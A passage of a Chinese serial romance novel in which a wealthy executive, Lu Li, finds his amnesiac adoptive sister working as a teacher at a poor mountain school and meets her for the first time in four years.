黄林温柔出声打断她的自证,“**,您误会我的意思了。公益画展已经结束,奖金也已汇入您的账户,这件本该到此结束的,但**也知道,陆氏集团家大业大,同时也意味着有多少人盯着。画展本是公益之举,但如果被人揪出哪怕是无关痛痒的纰漏,影响也会非常大,所以我们希望能提前规避所有可能会发生的风险,还请**主动配合。”
整段措辞礼貌客气,但话过一半,白一蕊渐渐意识到不对劲,直到最后‘主动配合’四字出口,她脸色刷的发白,对面的这位黄先生是在警告自己,不论她配不配,都必须要交代清楚,已避免给陆氏集团带去任何损失。
甚至黄先生已经认定,那幅画不是她画的。
事已至此,白一蕊不敢在硬抗着隐瞒。
她现在拼了命地读书、考研,就是为了进入像陆氏集团这样的大公司,为了蝇头小利与这样一个大企业作对不是明智的。
白一蕊抿着唇,唇边发白,深深低下了头。
“对不起——”她将自己的声音控制在适当的大小,“参展的画不是我画的,是栾山小学里的一位年轻老师亲手画的。她因为教学工作忙碌,又想要力所能及地资助学生,所以我负责投稿参加活动,奖金和收益都会转给那位老师。如果、如果我们的行为给贵公司带去风险隐患,我们愿意退出活动并归还所有的奖金。”
而在白一蕊低头说话时,黄林肉眼可见的松了一口气。
年轻老师画的?
可千万、千万要是时憬时小姐啊!
他了然颔首,似乎并且因这件事而生气,反而还安抚受惊的白一蕊,再次表明自己只是确认真相,只要知
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道了真相,集团就能有提前规避风险的准备。
白一蕊感激地道谢。
黄林无声笑了声,像是随口一问:“那位年轻老师叫什么名字?”
此时的白一蕊对他毫不设防,语气带着点隐隐的骄傲:“时憬。她的姓还蛮少见的,时间的时,是我们栾山小学英语兼任美术的老师。”
而这份骄傲,是因时憬也白家的关系。
黄林听到这个名字时,也忍不住激动,还未等他继续追问,听见身后卡座传来杯子不小心打碎的声音,引来了一位服务员。
黄林迅速回神,跟着感慨了句。
之后,黄林极为自然的开始推进资助的进展,听起来像是有备而来,甚至做好了90%的准备工作,只差一间能让他们发挥的小学。
在黄林定下安排,明天早上就打算去栾山小学时,饶是白一蕊再配合,也忍不住开口,“黄总,现在的进展会不会太快了?学校那边也需要接洽和准备的。”
黄林合上手中展开的日程本,语气有些无奈道:“我老板行程实在忙碌,唯一空的就只有明天。请**提供校方联络人,我会与学校联系。如果**明天有空的话,希望您能当我们的带路人,但这事并不勉强,我们也可以请校方出人。”
白一蕊想起栾山小学紧促的人手,小学需要赞助,一旦陆氏集团提出需求,韩校长肯定会放下一切教学任务去配合,但这就会拉慢学习进度。
栾山小学的每一位学生都可能会突然面临再也不能去上学的情况,对孩子们来说,每一天在学校里接受教育的机会都极为珍贵。
因为……当初的她和白源就是现在的他们。
白一蕊咬了咬牙,陆氏集团愿意资助栾山小学也是因她向画展投了画稿,她也应该负责到底,“学校那边出人还得下山来,一来一回要大半天。正好明天我课少,向学校请假后,明天能和你们一起出发么?”最后一句话白一蕊说得有些不好意思。
黄林笑了下,“太好了,**愿意带路就帮了我大忙。请您把个人信息发给我,我们这边会帮您购买往返所有的机票、车票。”
“谢谢黄总!”
两人在咖啡厅前分别时,黄林说明天的行程是老板首次资助及实地考察,看完不会停留很久,所以请她保密行程,除校方领导人外,不要对其他人提及。
白一蕊欣然答应。
目送黄林上了一辆低调奢华的黑色车辆后,她才往学校走去。而白一蕊不知道的是,在她离开不久后,黑色迈巴赫重新停在咖啡店前,黄林神色匆匆的下车,再次进入咖啡厅,走到他刚才坐的卡座后,弯腰低声道,“老板,事情已确认完毕,该叮嘱她的也都说了,稍后我会去亲自确认明日带去的资助物资。”他顿了下,“佟律师刚才已经将调查信息整合后发到您手机上。”
陆礼握着手机,看着屏幕滚动的一行行调查信息。
“司机留下,你去忙。”
黄林应了声,再次匆匆离开。
陆礼看着凝结成一页的调查报告,四年前,明明已经离开了沙市的白行竟然又悄悄回了沙市,在时憬失踪后,他辞去了送外卖的工作,从消费信息来看,他带着时憬一路往西南去,连飞机票、高铁火车票支出都没有,吃的是便宜小馆,住的是廉价酒店。
第三年的时候,他进栾山下县城的工厂打工。
而妹妹,却被他留在贫瘠的大山小学里教书。
这一次,这个男人又用什么骗术让妹妹心软了,竟然跟着他去到那么偏僻的大山里!
这四年里妹妹在山中吃了多少苦,甚至需要用变卖画作来补贴生活。
光是想,陆礼就止不住的心疼。
在他照顾妹妹的那十年里,哪怕再生妹妹的气,他都不舍得让她的生活拮据。
男人眼底的寒霜冷得凝结。
他无论如何也会带妹妹回家。
第136章 时老师在下来了吗
周三。
学校午休。
学生们都在挤在食堂里吃着自己从家里带来的盒饭。栾山小学实在供应不起全校师生的午餐,难得会在中午给孩子们加个菜。
五十多个学生叽叽喳喳的凑在一起,食堂里的杂声吵得几位老师脑仁发胀。
今天中午不是时憬午休值班,吃完就溜回宿舍休息会儿,不然实在撑不住上一天的课。
刚设了40分钟的闹铃,手机里跳进来一条银行通知信息,入账八万元整。
时憬:!!!!
她瞬间睡意消退,一个鲤鱼打挺坐起,点进银行查看转账信息,发现是一蕊转来的。
是画展的评选结果出了?
时憬翻了下两人的聊天记录,按照二八分成,那她是得了第一名??
她给一蕊发了条语音过去。
白一蕊的回复很快过来,难掩兴奋的告诉她拿下第一名,大公司打账就是迅速,而且还收到了一个更大的好消息,这家企业还准备长期资助栾山小学。
但刚说完好消息,白一蕊吞吞吐吐的继续说,【不过……嫂子……我好像闯了个祸,给你添麻烦了。】
时憬温柔的发信息询问。
【怎么了?】
【就、就是对方发现了投稿的画不是我画的……集团来的工作人员说为了规避风险,让我主动配合。我一怕,全都说了……】
时憬微愣了下。
【嫂子真的真的对不起!你要怎么骂我都成!!】
时憬回过神,关心问道:【没有因为这件事影响资助吧?或者对方真的对这件事有情绪,我们愿意把奖金退回去。】
白一蕊:【集团的黄总说了解清楚,不需要我们退还奖金。而且这家企业真的很热心做公益,目前看来完全没有影响资助小学。还有还有,明天我会陪着黄总他们来小学考察,送第一波资助的物资!】
时憬闻言松了口气,没因为这件事影响对方的决定就好。
白一蕊忙去了,时憬也彻底睡不着了。
她看着颇为可观的账户余额,在转给白行当做买房存款与留下来自己安排之间犹豫片刻,最终还是选择后者。
虽然白行没有当面制止她再对外卖画,但从他与一蕊之间的沟通看来,白行并不希望她继续这么做。
时憬最初想了很多原因来解释这一行为。
但这几年白行对她偶尔问及过去的问题愈发明显的回避来看,只剩下一个原因。
那就是与她的过去有关。
可能她过去是个小有名气的画家?
她也想过要不要在网上搜索自己的名字,或许能找回些记忆,但迟迟没有行动,或许在失去的那十多年里,发生了太多难过的事情,所以她才会忘记吧。
时憬摇了下头,摒弃这些让人不快的思绪。
穷了足足四年,此时怀揣八万巨款,只觉得自己十分富裕!
她点开购物软件,开始毕业礼物,打算在毕业时送给那几个六年级学生。
挑挑选选,午休时间一晃而过。
下午正式上课前,几位老师都收到了韩校长的信息,为了配合明天下午的活动,需提前将教学任务完成。
一般这种资方实地慰问,都会要老师和学生配合拍摄,又或者是资方会主动要求给学生们上几堂课,会打乱教学进度,但老师们都十分愿意配合,因为这些善良的资方,给栾山小学换过桌椅,修缮了过于破旧校舍。
栾山小学会越来越好。
时憬希望自己会送出一批又一批走向大山外的学生,为他们展翅高飞前,竭尽所能的插上几支迎风而飞的羽毛。
转眼到周四。
栾山小学的老师和学生们都在等着资助人。
但天公不作美,从中午开始淅淅沥沥下雨,上山的道路更难行,一直到了放学的时间一行人还未出现,韩校长担心雨如果再再下大的话,学生们回家不安全,但又不能把所有学生都放了,不然对方跋山涉水的赶过来,结果学校里一个学生都没有,取了个折中的办法,把低年级的学生放了,留下五六年级的十几个孩子,正好时憬每天都会额外进行英语口语训练,孩子们都塞在二楼教室里补习。
时憬发下提前打印好的资料,“等会儿我会放一段五分钟影片三次,这是台词,没有太难的单词,看完后自行练习,二十分钟后两人一组上台和我对话。”时憬看着五年级学生捂脸无声哀嚎,嘴角微微勾了下,“开始。”
教学的乐趣大概就在此。
看着学生们在缓慢的进步。
哪怕期间无数次被他们气得想掐人中,时憬也仍旧想要抓紧时间多教他们一些。
三遍影片放完,教室里陆续响起组队、念台词、互相纠正读音的声音,时憬听见楼下有动静,走出教室看了眼。
校舍门口发黄的节能灯照着一行人从大巴车上下来,灯光照着淅淅沥沥的雨点,一把把撑开的伞挡住了下来的人,时憬在楼上连一张脸都看不见,只能从下半身的穿着来辨认。
四男一女。
未见摄影器材。
来的人这么少?
韩校长等人连忙撑着伞迎接上去,握手寒暄。
一把伞微微抬起,唯一的女士露出面容,小跑几步靠近教学楼,冲着站在二楼的时憬用力挥手,小声叫她,“嫂子,快
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下来!”
时憬被白一蕊的笑脸传染,点了下头。
又进教室吩咐学生,让他们认真练习后才下楼。
白一蕊想着校长他们正和陆氏集团的人热情寒暄,自己小动作不会太引人注目,却未想到,刚好落入陆礼眼中。他未在露面的教职工中找到妹妹的身影,强行压下冷意,正想要开口问校长时,余光看见白一蕊突兀的动作。
二楼似乎还有人。
陆礼立刻看去——
只看见一个穿着臃肿的背影。
陆礼开口问道:“刚才和白同学说话的也是学校老师?”
韩校长本来正在介绍栾山小学情况,冷不丁听见这句话,思绪卡顿了两秒,看了眼二楼的方向才反应过来,热情解释道:“是我们栾山小学的女老师,负责美术和高年级英语教学,也是位很负责任的年轻教师。”说完,韩校长扭头问白一蕊,“时老师下来了吗?”
白一蕊点点头,回了句‘在下来了’。
韩校长故意对她说了句,“时老师虽然和你哥哥在交往,但两人毕竟还没结婚,在学校里不能这么叫,被学生们听见不像话。”
白一蕊算是促成了陆氏集团对栾山小学的长期赞助,但越是这种大企业,越是重视细节,学校是教师的工作场地,‘嫂子’来嫂子‘去’,显得太过随意。
白一蕊忙说以后注意。
韩校长见陆总脸色冷冰冰的,再一看他握着长柄雨伞的胳膊都在微微发抖,山里入夜后下了雨气温早已跌下零度,陆总还穿得是黑色大衣。
同行的另外三位男士也都是类似着装。
自己刚才只顾着介绍情况了,居然还把他们留在操场上,这不得给人冻坏了!
韩校长一脸歉意,忙不迭请他们去进食堂休息。
陆礼已从余光里看见下楼走来的那位时老师。
哪怕极力控制,他仍藏不住翻涌的情绪。
是她。
是他的……小舟!
在见到他后,妹妹会露出什么样的表情?
会惊愕?还是愤怒?又或是转身离开?
“老板。”
耳边传来黄林的提醒。
陆礼看见眼前的校长正在等着他的回答,余光中的妹妹逐步靠近,她没有打伞,大步流星的走来,昏暗的雨幕模糊了她的容貌,但他已经太久太久没有见过这样的妹妹了。
室外的实在太冷了。
她冒着雨过来只会更冷。
陆礼克制住皱眉的冲动,更抑制住想要为妹妹撑伞的冲动,转头应下校长的请求,一行人陆续进入食堂。
陆礼不得不收回视线。
而时憬落在最后才进食堂。
第137章 陆先生,我们…认识么?
时憬抬手挡雨,小跑进入食堂躲雨。
食堂里空间大,又在一楼,平时都冷得很。但这会儿里面正在准备教职工晚饭,厨房里的热气传过来,再加上韩校长把两台小太阳、一台取暖机都挪了过来,食堂里气温比外面高出**度。
韩校长那边给陆氏集团来的人端茶送水,一边继续介绍栾山小学情况。
时憬就没往那边去。
白一蕊看见她来,从人群里退出来,挨着时憬站在外缘,两人低声说话。
陆礼一抬头就看见了她。
穿着黑色羽绒服,长及脚踝,冷的双手凑在嘴边哈气取暖,眼眸弯弯,笑盈盈的正和边上的人说话,眼神清亮,眉眼舒展,面颊丰润,只是肤色看着黑了些,看起来十分健康。
是他的小舟。
像是绽放的花束,在这座贫瘠的大山里生机勃勃地舒展着枝叶,这也是他从未想过找到妹妹时的模样,恍惚间让他想起了十多年前第一次见时憬的情景。
她骑着单车闯入民宿中,亦是这样朝气蓬勃。
原来……
这四年离开了他,妹妹也能过得这么好。
“…陆总?”
“陆总?”
韩校长也注意到陆礼目光落定之处,两个小姑娘在一起说悄悄话,他轻咳了声音,叫了声时老师,“你过来一下。”
时憬应了声。
她没怎么在意校长叫自己过去,毕竟栾山小学一共就这么几个教职工,总得走个过场露个脸,表明栾山小学教职工都在勤勤恳恳、任劳任怨,拿着最低工资的在超负荷工作。
韩校长抬手指了下她,“这位就是刚才和您提过的时老师,时老师工作认真负责。咱们山区里的孩子英语基础薄弱,去下面县里跟不上进度,多亏时老师来了后,每天放学后都会单独给六年级毕业生单独做口语陪练,这两年从栾山小学出去的孩子们对英语的学习兴趣和口语水平明显都要高出县里小学了!”韩校长越说越骄傲,哪怕在不算暖和的室内也激动得红光满脸,说完,又对时憬道:“时老师,这位就是陆氏集团的陆总。”
时憬被校长夸得脸红了,正想谦虚时,对面坐着的陆总站起身,甚至向她伸出手,“陆礼。”
现在的年轻老总都如此客气吗?
时憬终于愣了下。
她垂下视线,眨了眨眼睛,轻轻用指尖礼貌地碰了下,嗓音轻柔,“陆总您好,我是栾山小学的时憬。”
陆礼透过薄薄的镜片,目光几乎凝结在眼前之人身上,只能从她脸上看到客气的笑容,还有防备的接触姿态,甚至她的视线只在自己身上停留了一两秒,之后便不再直视他。
那一两秒的目光,透着陌生。
没有任何陆礼预料中的情绪。
是妹妹还在生气么?
是,一定是的。
她像只可爱的小狐狸,最擅长伪装。
他终于松开手,目光与语气都分外温和,“时老师辛苦了,听校长说你还在给学生上课,是我们突然来打扰了你教课。”
时憬虽然觉得这位陆总看自己的眼神有些奇怪,而这位陆总身边的助理?还是秘书?的眼神也更加奇怪,但陆总的语气实在温柔,再加上面容英俊、举止绅士,时憬很快就没将这些异样放在心上,她微微笑了下,客客气气地向陆总表达了感激之情,然后表示学生还在等自己回去。
陆礼点头,“时老师尽管去忙。”
时憬转身离开,走到门口,打算冒雨跑回教学楼,走到食堂屋檐外助跑时,身后传来叫声。
“时小姐请等一下!”
时憬及时刹车,身影晃了下,险些摔倒。
她回头看,“额…您好?”
黄林拿着长柄伞递给她:“外面在下雨,陆总让我给您送把伞。”
食堂与教学楼之间并不远,不用一分钟就能冲过去了,时憬实在觉得打伞有些小题大做,面对资方的周到,时憬虽然有些纳闷,但还是接下,“谢谢陆总,谢谢……请问怎么称呼?”
黄林意外,“时小姐不记得我了?”
时憬笑了下,“抱歉,我记性不太好。”
黄林一瞬间似乎想到了什么,眼神不敢置信地看着她,“时——”
时憬心里记挂着教学楼的一群学生,这会儿天黑下雨,他们今晚估计都得留宿在学校里,她上去检查完口语练习后,得尽快安排住宿,“不好意思,学生们还在等我。”她哗——的一声撑开雨伞,轻声且快速道,“谢谢您的伞。”
话音落下,就已经跑过操场。
徒留黄林站在原地,手用力地揉着脸,反复念叨着“**不会吧”,“不会真这样吧”。
夜间的雨越下越大。
陆氏集团一行人在食堂用餐,大巴车司机撑着伞又回来,无奈道山路太泥泞了,晚上冒险下山危险系数太高,最好等雨停后再说,但看这雨一时半会儿也停不了。
韩校长连忙表
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示学校里有空置的宿舍,被褥也都是今年刚晒过的,大家可以安心住下来,等明天雨停后再下山。
陆礼欣然接受。
他们吃过晚饭,时憬带着的那十几个学生下课,涌入食堂吃饭。时憬和郭老师通知这些学生家里人,今晚会暂时住在学校,偶尔遇上雷暴天气,学生们住在学校也是常有的事情。
通知完后,郭老师忙着去翻出来学生宿舍的被褥,想起时憬还没吃晚饭,催她赶紧去吃,吃完再来忙。
时憬也不和郭老师客气。
她撑着伞走到食堂外,看见司机和其他人正从大巴车上搬下来这次带来捐赠的物资,那位助理和韩校长拿着清单核对,校长一脸感激,陆总则坐在食堂角落开着电脑在工作。
时憬停下脚步,视线偏移,看着手中的伞,迟钝的思绪这时才反应过来,那位助理认识自己?
但自己对他毫无印象。
是那十多年中出现的人物么?
助理认识自己,那位陆总呢?他是不是也认得自己?
时憬想了下,没进食堂,打算回宿舍吃泡面香肠。
她——
好像有些排斥与过去的人或事物扯上关系。
刚回到宿舍门口,拿出钥匙准备开门时,隔着哗啦啦的雨声,传来一道声音。
“时憬。”
轰隆——
惊雷突兀响起,吓得她掉了手中的钥匙。
时憬握着伞柄的手指攥紧,回头看身后的人,是和她撑着把一样伞的陆总。
对于如今的陆礼而言,任何工作都没有妹妹的事情重要。
他第一时间发现了妹妹靠近食堂,也发现了她短暂的停顿,在她转身离开时,陆礼立刻追了出来。
他不愿相信黄林的推断,更不信妹妹竟然会把那十年忘得一干二净,明明她看见自己仍会选择回避,他的小舟怎么可能忘了他?
“时憬。”
他大步流星追上,开口叫她的名字。
耳边炸开惊雷,那道背影像是被吓到了,手里的钥匙都掉了下来,陆礼上前几步,软着语气习惯性想要开口安抚胆小的妹妹。
二人距离拉近。
伞尖触碰,雨水哗啦啦地滴落,空气潮湿、森冷。
时憬后退半步,目光戒备地看着眼前向她靠近的手掌,声音在湿冷的空气里理智地逼近冷漠,“陆先生?”
她甚至没有客客气气地叫他陆总,微微蹙眉,眼神陌生,“我们认识吗?”
第138章 他会吓坏妹妹的
时憬的措辞是疑问。
但语气是肯定她不认识眼前的“陆总”,更因他冒犯的动作而不悦。
她戒备地看着莫名其妙的男人,也戒备地避开陆礼的手。
而这份防备,彻底冻住陆礼的手,令其僵在原地。男人镜片后的冷静有破裂的迹象,在情绪恶化之前,陆礼迅速垂下眼睑,挡住那些丑陋占有的欲望,生怕吓到妹妹。
陆礼弯腰捡起掉在地上的钥匙,极尽可能地让自己的语气温和些,“小舟,我们可以聊一下么?”
……
“小舟,妈妈在忙,晚上就不回来了,你自己锁好门。”
“小舟,早饭挂门口了,你自己热一下。”
“小舟,妈妈给你买了衣服在桌上,你试试看大小。”
“小舟……”
……
这是在记忆里,只有妈妈一个人叫过她的小名,随着记忆沉浮,时憬盯着他。
操场上昏暗的路灯因电路不稳在闪烁,雨滴打在伞面上,湿冷无孔不入,陌生的恐惧随着潮湿的冷意缠绕上时憬的四肢。
他,是谁?
时憬的唇色发白,她下意识不愿去回想那些丧失的记忆,甚至没有伸手去拿钥匙。
“外面还在下雨,进去再说?”陆礼仍用商量的语气在询问她。
这位身份不得了的男人,为何会对她这么温柔?而问题的答案,就藏在被她遗忘的过去之中。
但无论是什么答案,他的出现都会影响她现在平静的生活。
冷静。
时憬。
现在你需要空间冷静,而不是跟着他的步调走。
时憬理智回笼,摇了下头,“陆总,现在时间已经很晚了,我想先进去休息了,这些事情可以留到明天再说么?”
陆礼无法从妹妹的脸上看出伪装的痕迹。
在她的脸上,只有对他的防备、疏离、客气,在此时妹妹的眼中,他不是可以撒娇的兄长,也不是曾经发生过关系的男人,变成了一个陌生人。
呼吸短暂窒息。
陆礼一眼不眨地看着妹妹。
他想要妹妹问她在这四年里究竟发生了什么?她怎么能把他忘得一干二净?他更想将妹妹紧紧拥入怀中,然后……
但这些欲望只能被死死抑制。
会吓到时憬的。
会吓坏妹妹的。
他已经找到了妹妹,她好好的活着,其他的事情都不急,他有的是时间与耐心。
“好,不急我们明天再说,早点休息。”他饰演着宽容的绅士,唇角勾起,“晚安,小舟。”
他将掌心往前递了些。
时憬半垂眼睑,拿起钥匙,低声道谢。
陆礼看着她的指尖从掌心擦过,手掌察觉到她指尖冰冷的温度,克制着握住她手的冲动,看着她开门进屋,看着简陋的宿舍里亮起灯光,陆礼才转身离开,回到学校安排的宿舍。
栾山小学原本生源比现在要多不少,这些年大山里走出去的人多了,学生少了,空置的教室也多了。
学校给他们这一批人准备的两间空房间,估计是用空教室改来给学生临时住宿用。
黄林和他一间。
房间角落里放着一台开着的小太阳,是房间里唯一且微弱的暖意来源。
陆礼问了这次他们带上来的物资里应该有取暖设备。
黄林以为是老板觉得房间冷,回道:“物资里有六台电油汀取暖器,不过今晚暂时没法用。”
陆礼看了他一眼。
黄林叹气,冷得哈气搓手,“我刚才请韩校长把取暖器给住人的房间里都开上,校长说学校的电压不稳,承载不了那么大的用电量,整个学校晚上只能额外开这样的三台小太阳。”
陆礼皱了下眉,“雨停后尽快找人上来改造电路,解决用电困难。”他朝简陋的单人床铺走去,“把这台小太阳送去时憬那边,然后你去隔壁睡吧,明天早上起来去打听下时憬来栾山小学的事情。”
黄林愣了下,不禁看向发光的小太阳。
哦对,只能用三台这样的取暖设备,两台都在他们这儿,还有一台肯定轮不到分给时小姐用。
大山的校舍晚上这么冷,冷得他这样的大老爷们都打哆嗦,时小姐是怎么熬过来的?黄林也算是看着时憬长大的,想起她今天的穿着,想起他看见手上的红肿,也忍不住心疼了下。
陆家的女孩儿,居然在这样的环境下呆了四年!
黄林放下手上的事情,“我这就去,韩校长还给了两个热水袋,我去灌点热水回来,晚上睡觉能暖和点。”说完,他关了小太阳拎着出门。
陆礼简单洗漱上床。
外面雨下个不停,连带着网络也断断续续。
他看着报错的笔记本页面,合上扔在一边,奔波了一日此刻毫无睡意,也没办法用工作来打发时间,闭上眼都是时憬今晚的模样。
黄林去了很久才回来,他去食堂灌热水袋时,顺道去找食堂找阿姨打听了些消息。
这一路上,他们都没想过时憬会失忆,只担心仓促上山的消息会被时憬知道,没有向白一蕊打听关于‘时憬’的消息。
关于时憬消失的四年空白,他们一无所知。
他回来后,陆礼正好也没睡,他就把消息简单说了下。
“食堂阿姨在栾山小学很多年了,她说时老师是三年半年前来的栾山,当时跟着白行一起来的,一开始是住在白行家里,后来白行要下山进厂打工养过弟弟妹妹,才把时小姐姐介绍给韩校长。一开始韩校长不想收她的,时小姐不记得自己的毕业学校,甚至连个人信息的都不知道,后来是时小姐自己拿了幅画出来,校长这才松口让她当美术老师,之后又发现时小姐英语好、口语也好,又让她带高年级的学生……”寒夜漫长,黄林揣着热水袋絮絮叨叨说着自己打听来的消息,“……学校给的工资也低,时小姐大部分工资都贴给了学生。白行在县城打工,经常上来给送衣物、生活用品、食物,两个**概是在一年前开始交往——”
陆礼视线骤然冷下,“和谁交往?”
黄林被盯得结巴了下,“白、白行啊……”然后他看着老板脸色阴沉地吓人,“我们刚到栾山小学时,白一蕊叫时小姐嫂、嫂子,韩校长说了两句……我以为您知道……
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”原来那时候老板没听啊!他还在想,老板面对时小姐和别的男人交往怎么这么淡定啊!
陆礼眼神森冷,“你,继续说。”
黄林硬着头皮继续往下说。
厨房阿姨是爱八卦的年纪,再加上栾山小学的生活实在单调枯燥,时憬、白行两人的恋爱简直成了她生活中追的爱情连续剧,说了很多两人之间的趣事,在不知情者听来,他们成了一对有爱心、互相扶持的小情侣。
关于生活的苦难,却都被阿姨轻描淡写地盖过。
而这些‘真爱’‘感动’背后藏着一个**的真相。
时憬来到栾山时就已经失忆了,可白行没有失忆。
他知道陆家,更知道时憬是陆家的女孩,更何况他之后还公布过与时憬的婚讯,白行有无数次机会可以把时憬送回陆家,但他却没有这么做。
他把失忆的时憬带到荒蛮、落后、贫瘠的山区,然后用贫困的学校、可怜的学生把时憬留下来。
他的妹妹是最善良、心软的孩子,哪怕失忆,本性却不会变,她在力所能及的情况下,如何还能舍得抛下山区的孩子离开?
然后——
用贫瘠的讨好,一点点迷惑了单纯的妹妹,诱骗妹妹和他交往,如果没有那一张画,他可能还会用更恶劣的手段把时憬一辈子困在山区!
白行自私把她留在这儿。
一年、两年、三年……
交往,然后就是结婚,让妹妹为他生儿育女。
等到妹妹生下孩子后,哪怕妹妹恢复了记忆,她会舍得抛弃孩子、抛下孩子的父亲、抛下山区仰慕她的学生回到沙市?回到陆家么?
妹妹那么渴望家人,又那么善良……
她可能会选择永远留在贫瘠的山区……
越往后想,陆礼通体寒意。
恐惧过后就是愤怒!
愤怒于白行不择手段的恶劣算计。
时憬只能是陆家的女孩,只能是他的妻子!是一辈子过着锦衣玉食富裕生活的陆家人,而不是沦为给男人洗衣做饭、操持家务的辛劳妇人。
他会带走妹妹!
他也会让白行为自己的言行付出代价!
幸好——
幸好他去了那一场公益画展,幸好他找到了妹妹的画,幸好他来了。
幸好一切还未来得及发生。
这一夜,失而复得的惊喜与险些错失妹妹的恐惧交织,陆礼迟迟入睡。
陌生的环境与恶劣的天气,连同梦境也变得混乱不堪,他梦见自己终于找到了妹妹,想要拥入怀中时,眼前的身影却一晃而散——
噩梦惊醒。
他睁眼,眼底惊魂未定。
门外狂风大作,风吹开了破旧的窗户,风雨灌入屋中,房间里冷得像冰窖,这样恶劣的环境愈发让他脸色隐隐发白。
黄林裹着被子蜷缩成虾睡得熟。
陆礼披着外衣起身关窗户,想出门看一眼妹妹的房间,也担心她的房间撑不住外面的**,刚走到门口就听见外面风雨嘈杂声外的其他声音。
有人在哭喊。
好像还有妹妹的声音。
陆礼脸色骤变,疾步出门。
第139章 【时憬 陆氏集团】
时憬进屋、关门、开灯。
昏黄的灯光驱散了些室外的潮湿寒冷,她像是从伸手不见五指的隧道中走出来,怔怔地站在原地。
目之所及,是一间老旧的房间。
她在这间房里住了三年多,学着适应大山里的气候,去习惯这儿艰苦的生活条件,也学着去成为一位老师。
她会继续留在栾山小学。
继续教育这些可爱的学生。
“笃笃——”
“时老师在吗?”
时憬回神,转身去开门,那位陆总已经不在门外了,郭老师一手提着一袋的热水袋,一手打伞,冰冷的雨水拍在狼狈的脸上,“捐赠的物资里刚好有一批热水袋,帮个忙,我们一起装了热水给留校的孩子们送去,不然今晚孩子们肯定冷得睡不着。”
“好,我这就来。”
时憬立刻应下,锁了门跟这郭老师忙去。
晚上风又大了,其他老师忙着检查校舍,照顾留宿学生的任务落在两个年轻老师身上,等她们把热水袋都塞进学生被窝,挨个检查男女生宿舍。
男生宿舍里清一色趴在床上补作业。
郭老师看了眼腕表,“作业还没做完的同学抓紧,宿舍还有半个小时熄灯。”
接连响起几声哀嚎。
时憬看了眼塞在床上歪七扭八的枕头,忍住没笑,故意沉下脸道:“谁让有些同学有时间玩枕头大战也不写作业。”
宿舍一阵诡异寂静。
终于有男生憋不住,问:“时老师,你咋知道的啊!”
“对啊,俺们就玩了一会会儿!”
时憬点了下他们床铺,“下次注意收拾战场,还有二十五熄灯,熄灯后赶紧睡觉,没做完作业的明早一早起来给我补上。”
“保证完成任务!”
时憬维持住高冷教师人设没吱声,郭老师淡淡笑了声,五年级明年第一堂就是我的课。男孩子们个个下笔如有神,疯狂赶作业进度。
两人退出男生宿舍,对视忍俊不禁。
接着又去隔壁的女生宿舍。
女生宿舍里的孩子都在看书,与男生宿舍的画风截然不同。
郭老师也叮嘱了声熄灯时间,随即清点人数,咦了声,“女生人数不对啊,怎么少了个人?我看看谁没在……杨娟呢?”
女孩子们都低头看书。
时憬紧随其后进来,闻言解释了句,“杨娟说奶奶身体不好,今天就没参加课后练习,六年级的联络是我负责的,忘记和郭老师说了。”
郭老师点点头,“我知道了。”
两人离开宿舍一起下楼,郭老师冷得瑟瑟发抖,哈气搓着手掌,“幸好校长说晚上的夜查他来负责,我们俩也能睡个整觉,不然大晚上的我真的爬不起来查寝。”
一旦有学生留宿学校,晚上就得有老师负责查夜,栾山小学里除了郭、时两位老师最年轻,其他老师都有些年纪了,半夜醒了难入睡,所以查寝的任务基本是她俩轮流来。
时憬也感慨了句是啊,“等会儿我去和校长说一声杨娟的事情。”
郭老师:“我去吧,我宿舍挨得近。一蕊难道回来一趟居然没找你?这小姑娘不是最黏你么,今天倒是稀奇了。”
时憬笑道:“她明天一早就要下山赶回学校去,我晚上还得备课呢,就让她跟着杨老师睡了。”
郭老师忽然停下脚步,看了眼还亮着灯最远的两间房,凑近时憬,小声问:“时老师,你说今天来得那些人今晚能睡得着么?你是没看见,那几个男的看见宿舍条件后,眉头皱着都能夹死苍蝇,就差没把嫌弃俩字写在脸上了。他们也真是的,明知道今天会下雨非得赶着上山干嘛,好好的在县城住一晚,等明天再上来多好,这样学生也不用留宿在学校里了,能省多少事!”
她们教学任务本就重,今天更是忙得脚不沾地,私下无人时多少都会抱怨几句排解情绪。
时憬想起那一声小舟,心绪紊乱。
应和着吐槽了句‘谁知道呢’。
可话还没说完,走在前面的郭老师突然停下来,时憬险些一头撞上去,她刚要问,就看见郭老师扭头,一双眼睛亮晶晶地看她:“时老师,我先回去了哈!你也早点休息!”
时憬:“…好,你也是。”
等郭老师离开后,时憬才看见自己房门站着一人,正是今天陆氏集团一行里的助理。
好像是叫黄林。
深更半夜守在宿舍门口,也难怪郭老师要用那样八卦的眼神看她。
时憬无声叹气,走过去:“您好?”
黄林终于等到她回来,扬起和煦的笑脸,“我们房间多了个取暖器,陆总让我拿来给时老师用。”他说完后,甚至不给时憬拒绝的空间,“时间不早了,我先回去休息,时老师也早些休息。”
时憬只来得及说声谢谢。
她进屋,短暂被她抛之脑后的现实就像这台小太阳般,存在感极强地出现在她面前——
哪怕她不愿承认,但陆礼确确实实认识自己,深度参与过被她遗忘的过去。
而他来栾山小学,肯定也不是意外。
恐怕是从一蕊送出去的那张画中知道她在这儿?可她记得自己擦去了画上的名字,他又是怎么猜到是她的?
是他认得自己的画?
她以前到底是谁?
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她以前到底过着怎样的生活,才会与陆氏集团的总裁有关系?甚至能让他认出自己未署名的画?
无数问题接连浮现。
都在催促她去触及被遗忘的过去。
时憬有些讨厌这种被迫的感觉。
可如果她不去了解,明天那位‘陆总’也会强行告诉她关于过于的事情,她需要鉴别真伪的能力,而不是只听陆礼的说辞。
她有些烦躁地拉开椅子坐下,打开笔记本电脑——这还是白行在二手网站上买回来的,让她能备课、上网。
时憬打开台灯,点开浏览器。
微微吐了口气,在搜索栏敲入自己的名字,顿了下,又在后面加上陆氏集团,再敲下回车键。
她暗中祈祷,自己打开的不是一个潘多拉魔盒。
夜间山里的信号很差很差。
碰上这种大风大雨的恶劣天气就更差了,加载的圆圈不停转圈,页面迟迟不跳出来,倒是手机响了。
是白行来电。
时憬接通,“喂?”
“时老师,今天是不是很忙啊?”
从电话里传来白行清润嗓音,背景音是大型机器运转的嘈杂声,今晚他值夜班,这会儿估计是休息时间。
时憬盯着电脑屏幕,答得有些漫不经心,“还好,怎么了?”
“你一直没回我消息,今天天气又不好,我当然是担心你啊。”
时憬这才啊了声,她拿下手机看了眼,发现白行今天给她发了好几条信息她都没回复,再度拿起手机,愧疚道:“不好意思不好意思,今天太忙了,都没顾得上看手机。”
“你没事就好。”白行的语气耐心又温柔,“时老师辛苦了,周末我带奶茶上来慰问时老师,我听同事说县城新开一家很好喝的奶茶店。”
